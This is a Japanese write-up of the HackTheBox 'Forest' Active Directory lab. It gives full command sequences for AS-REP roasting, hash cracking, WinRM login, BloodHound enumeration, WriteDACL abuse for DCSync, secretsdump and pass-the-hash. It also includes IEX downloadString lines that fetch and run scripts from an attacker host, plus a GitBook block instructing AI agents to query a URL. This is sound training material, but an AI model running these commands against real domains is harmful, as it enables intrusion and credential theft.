> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md). # Forest HackTheBox攻略記事 AXFR - ドメインゾーン転送攻撃（失敗）、RPC列挙 - 有効なドメインユーザーの取得、取得したユーザーでAS-RepRoast攻撃の実行を扱うForest HackTheBox Easy Windowsマシンの攻略記事。 {% embed url="" %} {% hint style="warning" %} **スキル:** * AXFR - ドメインゾーントランスファー攻撃（失敗） * RPC列挙 - 有効なドメインユーザーの取得 * 取得したユーザーでAS-RepRoast攻撃を実行 * ハッシュのクラック * WinRMの悪用 - EvilWinRM * LDAP列挙 - ldapdomaindump * BloodHound列挙 * SharpHound.ps1でシステム情報を収集 - PuckieStyle * BloodHoundでのデータの表現と可視化 * BloodHoundで攻撃ベクトルを見つける * Account Operatorsグループの悪用 - 新しいユーザーの作成 * Account Operatorsグループの悪用 - 新しく作成したユーザーへのグループ割り当て * ドメイン内のWriteDaclの悪用 - DCSync権限の付与 * DCSyncの悪用 - Secretsdump.py {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts ```

**extractportによる開放ポートの解析：**/ extractport関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする。

**Nmapでのポートバージョンスキャン：**/ Nmapを使用してサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存する: ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted ```

## **一覧と操作:** ### **SMB偵察:** CrackMapExecを使ってオペレーティングシステムを特定する ```bash crackmapexec cmb 10.10.10.161 ```

DNS経由でドメイン名をIPアドレスに解決するため、IPアドレスに関連付けられたドメイン名/を `/etc/hosts` ファイルに存在するユーザーに対して試します。

/*/ネットワーク上のSMB共有を調査して共有リソースを特定するが、結果なし。 //* ```bash crackmapexec smb 10.10.10.161 --shares ``` ```bash smbclient -L 10.10.10.161 -N ```

### **RPC偵察:** rpcclientを使用してCPPサービスとやり取りし、リソース情報を収集する ```bash rpccclient -U "" 10.10.10.161 -N enumdomusers ```

#### グループを一覧表示する: ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups' ```

## ASREPRoast攻撃: #### 有効なユーザーの一覧があれば、ユーザーパスワードが不要なためAS-RepRoast攻撃を実行します。私たちは `grep` ユーザー名をフィルタリングし、これらのデータをファイルに挿入する ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users ```

#### GetNPUsers.pyツールを使って、パスワードなしでユーザー情報を抽出します: ```bash GetNPUsers.py htb.local/ -no-pass -usersfile users ```

#### ユーザー「lucinda」のパスワードのハッシュを取得し、あらかじめ用意したパスワードリストを使ってJohn the Ripperで解読を試みます: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

#### WinRM接続を試して、CrackMapExecを使って解読したパスワードが正しいか確認します: ```bash crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

#### 最後に、解読した認証情報を使ってEvil-WinRMでリモートマシンに接続します: ```bash evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

## 権限昇格： ### BloodHoundによるドメイン列挙

BloodHoundのインストール:

``` apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` /*neo4j:neo4jの名前でBloodHoundにログインする。 //* ![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74) **BloodHoundを起動する。** ```bash bloodhound &> /dev/null & disown ```

### SharpHound.ps1で情報を収集する {% embed url="" %} ### 収集したデータをLinuxサーバーへ転送する。 ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1') ```

```bash Invoke-BloodHound -CollectionMethod All ```

#### zip ファイルをチームに転送します。 ```bash download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip ```

/*BloodHoundにzipファイルをインポートする。 //*

### BloodHoundの分析と操作 #### ドメイン管理者への最短経路を見つけるためにデータをフィルタリングする。

#### 問題のある可能性があるグループ（Account Operator）への所属を特定する。

#### ユーザー作成機能を使ってDCSync攻撃の準備をする。 ```bash net user jordanmacia password123$ /add /domain ```

### 十分な権限なしでのDCSync試行 ```bash impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

#### より高い権限を持つグループにユーザーを追加（`Exchange Windows Permissions`).

```bash net group "Exchange Windows Permissions" jordanmacia /add ```

### WriteDACL攻撃:

```bash $SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword) ``` PowerView\.ps1を使ってWriteDACL攻撃を準備し、機能を追加する。 {% embed url="" %}

#### ファイル転送 ``` python3 -m http.server 80 ``` ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')" ``` ## DCSync攻撃の脆弱性 #### ハッシュを取得するためにAdd-DomainObjectAclコマンドを実行する。 ``` Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync ``` #### ユーザーjordanmaciaを使ってImpacketでハッシュを抽出する。 ``` impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

### Pass-the-Hash攻撃: 管理者のNTハッシュを使ってPass-the-Hash攻撃を行う。 ```bash evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' ``` #### 管理者権限でシステムにアクセス。

### 最終フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.